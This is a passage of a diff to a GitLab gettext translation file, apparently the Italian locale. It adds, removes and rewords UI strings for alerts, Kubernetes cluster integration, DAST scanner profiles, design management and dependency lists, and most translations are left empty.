msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "Si è verificato un errore. Riprova."
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr "Apr"
msgid "April"
msgstr "Aprile"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr "Artefatti"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,14 +4001,17 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "La branch <strong>%{branch_name}</strong> è stata creata. Per impostare un rilascio automatico scegli un template CI di Gitlab e committa le tue modifiche %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "La branche è cambiata"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr "Cancella"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "Copia URL API"
@@ -5390,9 +5522,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr "Numero di nodi"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Commenti"
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr "Crea file"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr "Crea un nuova branch"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "Crea una nuova cartella"
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "Eventi-Notifica personalizzati"
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr "Elimina"
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
